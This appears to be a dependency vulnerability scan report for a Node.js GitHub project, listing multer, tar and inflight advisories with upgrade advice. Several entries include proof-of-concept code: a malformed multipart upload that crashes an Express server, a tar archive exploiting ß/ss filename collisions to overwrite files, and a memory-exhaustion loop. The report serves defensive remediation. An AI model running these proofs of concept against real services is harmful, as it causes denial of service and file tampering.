Vulnerabilities

6 via 8 paths

Dependencies

274

Source

GitHub

Commit

dce1399d

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 6
  • 1
Severity
  • 1
  • 3
  • 3
Status
  • 7
  • 0
  • 0

critical severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: multer@1.4.5-lts.2

Detailed paths

  • Introduced through: nodejs@QuentinBou/node_cloud#dce1399d1272bbaed5bd201344d60322c0407a12 multer@1.4.5-lts.2
    Remediation: Upgrade to multer@2.0.1.

Overview

Affected versions of this package are vulnerable to Uncaught Exception in makeMiddleware, when processing a file upload request. An attacker can cause the application to crash by sending a request with a field name containing an empty string.

Remediation

Upgrade multer to version 2.0.1 or higher.

References

high severity

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: multer
  • Introduced through: multer@1.4.5-lts.2

Detailed paths

  • Introduced through: nodejs@QuentinBou/node_cloud#dce1399d1272bbaed5bd201344d60322c0407a12 multer@1.4.5-lts.2
    Remediation: Upgrade to multer@2.0.0.

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime due to improper handling of error events in HTTP request streams, which fails to close the internal busboy stream. An attacker can cause a denial of service by repeatedly triggering errors in file upload streams, leading to resource exhaustion and memory leaks.

Note:

This is only exploitable if the server is handling file uploads.

Remediation

Upgrade multer to version 2.0.0 or higher.

References

high severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: multer@1.4.5-lts.2

Detailed paths

  • Introduced through: nodejs@QuentinBou/node_cloud#dce1399d1272bbaed5bd201344d60322c0407a12 multer@1.4.5-lts.2
    Remediation: Upgrade to multer@2.0.0.

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to an error event thrown by busboy. An attacker can cause a full nodejs application to crash by sending a specially crafted multi-part upload request.

PoC

const express = require('express')
const multer  = require('multer')
const http  = require('http')
const upload = multer({ dest: 'uploads/' })
const port = 8888

const app = express()

app.post('/upload', upload.single('file'), function (req, res) {
  res.send({})
})

app.listen(port, () => {
  console.log(`Listening on port ${port}`)

  const boundary = 'AaB03x'
  const body = [
    '--' + boundary,
    'Content-Disposition: form-data; name="file"; filename="test.txt"',
    'Content-Type: text/plain',
    '',
    'test without end boundary'
  ].join('\r\n')
  const options = {
    hostname: 'localhost',
    port,
    path: '/upload',
    method: 'POST',
    headers: {
      'content-type': 'multipart/form-data; boundary=' + boundary,
      'content-length': body.length,
    }
  }
  const req = http.request(options, (res) => {
    console.log(res.statusCode)
  })
  req.on('error', (err) => {
    console.error(err)
  })
  req.write(body)
  req.end()
})

Remediation

Upgrade multer to version 2.0.0 or higher.

References

high severity

Uncaught Exception

  • Vulnerable module: multer
  • Introduced through: multer@1.4.5-lts.2

Detailed paths

  • Introduced through: nodejs@QuentinBou/node_cloud#dce1399d1272bbaed5bd201344d60322c0407a12 multer@1.4.5-lts.2
    Remediation: Upgrade to multer@2.0.2.

Overview

Affected versions of this package are vulnerable to Uncaught Exception due to improper handling of multipart requests. An attacker can cause the application to crash by sending a specially crafted malformed multi-part upload request that triggers an unhandled exception.

Remediation

Upgrade multer to version 2.0.2 or higher.

References

medium severity
new

Improper Handling of Unicode Encoding

  • Vulnerable module: tar
  • Introduced through: bcrypt@5.1.1

Detailed paths

  • Introduced through: nodejs@QuentinBou/node_cloud#dce1399d1272bbaed5bd201344d60322c0407a12 bcrypt@5.1.1 @mapbox/node-pre-gyp@1.0.11 tar@6.2.1
    Remediation: Upgrade to bcrypt@6.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.

Note:

This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.

Workaround

This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

Remediation

Upgrade tar to version 7.5.4 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: yamljs@0.3.0, swagger-jsdoc@6.2.8 and others

Detailed paths

  • Introduced through: nodejs@QuentinBou/node_cloud#dce1399d1272bbaed5bd201344d60322c0407a12 yamljs@0.3.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: nodejs@QuentinBou/node_cloud#dce1399d1272bbaed5bd201344d60322c0407a12 swagger-jsdoc@6.2.8 glob@7.1.6 inflight@1.0.6
  • Introduced through: nodejs@QuentinBou/node_cloud#dce1399d1272bbaed5bd201344d60322c0407a12 bcrypt@5.1.1 @mapbox/node-pre-gyp@1.0.11 rimraf@3.0.2 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

LGPL-2.1 license

  • Module: mariadb
  • Introduced through: mariadb@3.4.5

Detailed paths

  • Introduced through: nodejs@QuentinBou/node_cloud#dce1399d1272bbaed5bd201344d60322c0407a12 mariadb@3.4.5

LGPL-2.1 license